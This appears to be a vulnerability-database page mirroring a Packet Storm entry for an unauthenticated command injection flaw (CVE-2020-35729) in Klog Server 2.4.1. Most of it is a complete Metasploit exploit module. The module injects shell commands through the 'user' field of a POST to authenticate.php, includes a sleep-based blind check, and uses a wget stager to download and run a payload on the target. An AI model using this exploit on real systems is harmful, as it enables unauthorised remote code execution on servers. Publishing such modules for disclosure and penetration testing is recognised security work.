Lucene search
+L

Klog Server 2.4.1 Command Injection

🗓️ 26 Jan 2021 00:00:00Reported by Metin Yunus KandemirType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 156 Views

Klog Server Unauthenticated Command Injection Vulnerability in version 2.4.

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Klog Server 2.4.1 Command Injection Exploit
15 Feb 202100:00
zdt
circl
Circl
CVE-2020-35729
5 Jan 202100:00
circl
cnnvd
CNNVD
KLog Server OS Command Injection Vulnerability
27 Dec 202000:00
cnnvd
checkpoint_advisories
Check Point Advisories
KLog Server Command Injection (CVE-2020-35729)
6 Jan 202100:00
checkpoint_advisories
cve
CVE
CVE-2020-35729
27 Dec 202004:40
cve
cvelist
Cvelist
CVE-2020-35729
27 Dec 202004:40
cvelist
githubexploit
GithubExploit
Exploit for OS Command Injection in Klogserver Klog_Server
9 Apr 202107:59
githubexploit
exploitdb
Exploit DB
Klog Server 2.4.1 - Command Injection (Unauthenticated)
5 Jan 202100:00
exploitdb
exploitdb
Exploit DB
Klog Server 2.4.1 - Unauthenticated Command Injection (Metasploit)
25 Jan 202100:00
exploitdb
kitploit
Kitploit
CVE-2020-35729
26 Aug 202607:35
kitploit
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Klog Server Unauthenticated Command Injection Vulnerability',  
'Description' => %q{  
This module exploits an unauthenticated command injection vulnerability in Klog Server <= 2.4.1.  
"user" parameter is executed via shell_exec() function without input validation.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[ 'B3KC4T', # Vulnerability discovery  
'Metin Yunus Kandemir', # Metasploit module  
],  
'References' =>  
[  
['CVE', '2020-35729'],  
['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection']  
],  
  
'DefaultOptions' =>  
{  
'HttpClientTimeout' => 2,  
},  
'Platform' => [ 'unix', 'linux' ],  
'Arch' => [ ARCH_X64 ],  
'Targets' => [  
['Klog Server 2.4.1 (x64)', {  
'Platform' => 'linux',  
'Arch' => ARCH_X64,  
}],  
],  
'Privileged' => false,  
'DisclosureDate' => "2021-01-05",  
'DefaultTarget' => 0))  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']),  
]  
)  
end  
  
def filter_bad_chars(cmd)  
cmd.gsub!(/chmod \+x/, 'chmod 777')  
cmd.gsub!(/;/, " %0A ")  
cmd.gsub!(/ /, '+')  
cmd.gsub!(/\//, '%2F')  
  
end  
  
def execute_command(cmd, opts = {})  
command_payload = "unsafe+%22%26+#{filter_bad_chars(cmd)}%26%22"  
  
print_status("Sending stager payload...")  
uri = target_uri.path  
res= send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'actions', 'authenticate.php'),  
'encode_params' => false,  
'vars_post' => {  
'user' => command_payload,  
'pswd' => "inline"  
}  
})  
if res && res.code == 302  
print_error("The target is not vulnerable!")  
else  
print_good("The target is vulnerable!")  
end  
end  
  
def check  
uri = target_uri.path  
res= send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'actions', 'authenticate.php'),  
'encode_params' => false,  
'vars_post' => {  
'user' => "unsafe+%22%26sleep+40%26%22", #checking blind command injection via sleep  
'pswd' => "inline"  
}  
})  
if res && res.code == 302  
return Exploit::CheckCode::Safe  
else  
return Exploit::CheckCode::Vulnerable  
end  
end  
  
def exploit  
print_status("Exploiting...")  
execute_cmdstager(flavor: :wget, delay: 10)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation